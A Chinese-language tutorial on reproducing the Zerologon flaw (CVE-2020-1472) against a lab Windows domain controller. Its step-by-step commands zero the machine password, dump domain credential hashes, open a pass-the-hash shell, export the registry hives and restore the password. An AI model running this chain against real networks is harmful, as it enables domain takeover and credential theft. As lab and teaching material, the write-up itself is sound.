Netlogon特權提升漏洞CVE 2020-1472該如何復習

Netlogon特權提升漏洞CVE 2020-1472該如何復習，很多新手對此不是很清楚，為了幫助大家解決這個難題，下面小編將為大家詳細講解，有這方面需求的人可以來學習下，希望你能有所收獲。

1.復現環境

DC：
os：windows 2012 server
ip：192.168.236.132

攻擊機：
os：kali
ip：192.168.236.130

2.影響版本

Windows Server 2008 R2 for x64-based Systems
Service Pack 1Windows Server 2008 R2 for x64-based
Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

3.域控環境搭建參考文章

sectool/251828.html

4.復現過程

4.1 漏洞驗證

POC鏈接

4.2 漏洞利用

安裝最新的Impacket，否則會報錯

4.2.1 下載攻擊exp

EXP下載

4.2.2 置空密碼

python3 cve-2020-1472-exploit.py WIN-F6STUQIU7D8 192.168.236.132

4.2.3 獲取hash

進入到impacket/examples

python3 secretsdump.py DOMAIN/WIN-F6STUQIU7D8\$@192.168.236.132 -just-dc -no-pass

4.2.4 獲取shell

python3 wmiexec.py -hashes <HASH> DOMAIN/administrator\@IP

4.2.5 獲取原hash

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

4.2.6 解析hash

保存$MACHINE.ACC部分：XXXXXXXXXXXXXX:XXXXXXX

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

4.2.7 恢復hash

恢復鏈接

python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR <ORI_HASH>

4.2.8 驗證是否恢復

使用獲取hash的命令來驗證是否恢復

python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -just-dc -no-pass

5.修復建議

官方修復建議

看完上述內容是否對您有幫助呢？如果還想對相關知識有進一步的了解或閱讀更多相關文章，請關注億速云行業資訊頻道，感謝您對億速云的支持。